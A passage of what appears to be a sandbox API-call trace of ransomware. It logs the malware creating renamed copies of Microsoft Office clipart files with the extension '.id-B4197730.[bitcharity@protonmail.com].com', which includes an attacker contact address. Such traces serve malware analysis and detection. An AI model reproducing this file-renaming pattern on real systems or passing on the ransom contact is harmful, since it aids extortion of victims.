hTemplateFile=0x0) returned 0xffffffff [0248.964] CloseHandle (hObject=0x1268) returned 1 [0248.966] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.966] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.966] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107514.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107514.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.966] CloseHandle (hObject=0x1268) returned 1 [0248.968] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.968] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107516.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107516.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.969] CloseHandle (hObject=0x1268) returned 1 [0248.970] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.970] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107526.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107526.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.971] CloseHandle (hObject=0x1268) returned 1 [0248.972] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.972] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.972] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107528.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107528.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.972] CloseHandle (hObject=0x1268) returned 1 [0248.974] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.974] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107544.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107544.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.974] CloseHandle (hObject=0x1268) returned 1 [0248.976] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.976] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107658.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107658.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.976] CloseHandle (hObject=0x1268) returned 1 [0248.978] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.978] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107708.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107708.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.978] CloseHandle (hObject=0x1268) returned 1 [0248.979] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.979] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.979] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107712.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107712.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.980] CloseHandle (hObject=0x1268) returned 1 [0248.981] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.981] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107718.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107718.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0248.981] CloseHandle (hObject=0x1268) returned 1 [0248.982] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.982] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0248.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107722.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107722.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.093] CloseHandle (hObject=0x1268) returned 1 [0249.417] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.417] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107728.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107728.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.418] CloseHandle (hObject=0x1258) returned 1 [0249.419] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.419] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145810.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145810.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.420] CloseHandle (hObject=0x1258) returned 1 [0249.607] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.607] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0145879.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0145879.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.607] CloseHandle (hObject=0x1268) returned 1 [0249.609] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.609] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152414.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152414.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.610] CloseHandle (hObject=0x1268) returned 1 [0249.611] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.611] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.611] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152430.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152430.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.612] CloseHandle (hObject=0x1268) returned 1 [0249.613] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.613] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152432.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152432.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.613] CloseHandle (hObject=0x1268) returned 1 [0249.614] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.614] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152436.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152436.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.615] CloseHandle (hObject=0x1268) returned 1 [0249.615] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.615] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.616] CloseHandle (hObject=0x1268) returned 1 [0249.617] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.617] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.617] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.617] CloseHandle (hObject=0x1268) returned 1 [0249.618] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.618] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152560.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152560.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.619] CloseHandle (hObject=0x1268) returned 1 [0249.620] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.620] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152568.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152568.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.621] CloseHandle (hObject=0x1268) returned 1 [0249.622] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.622] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.622] CloseHandle (hObject=0x1268) returned 1 [0249.624] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.624] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.624] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152590.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152590.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.625] CloseHandle (hObject=0x1268) returned 1 [0249.626] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.626] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152594.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152594.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.626] CloseHandle (hObject=0x1268) returned 1 [0249.630] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.630] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.630] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152600.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152600.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.632] CloseHandle (hObject=0x1268) returned 1 [0249.636] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.636] SetFilePointerEx (in: hFile=0x1268, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0249.636] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152602.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152602.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0249.636] CloseHandle (hObject=0x1268) returned 1 [0250.055] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.055] SetFilePointerEx (in: hFile=0x127c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.055] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152606.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152606.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.490] CloseHandle (hObject=0x127c) returned 1 [0250.603] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.603] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152628.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152628.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.603] CloseHandle (hObject=0x1258) returned 1 [0250.607] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.608] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.608] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152694.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152694.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.608] CloseHandle (hObject=0x1258) returned 1 [0250.609] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.609] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.609] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152696.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.609] CloseHandle (hObject=0x1258) returned 1 [0250.610] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.610] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.610] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.610] CloseHandle (hObject=0x1258) returned 1 [0250.613] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.613] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.613] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152702.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152702.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.613] CloseHandle (hObject=0x1258) returned 1 [0250.614] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0250.614] SetFilePointerEx (in: hFile=0x1258, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: 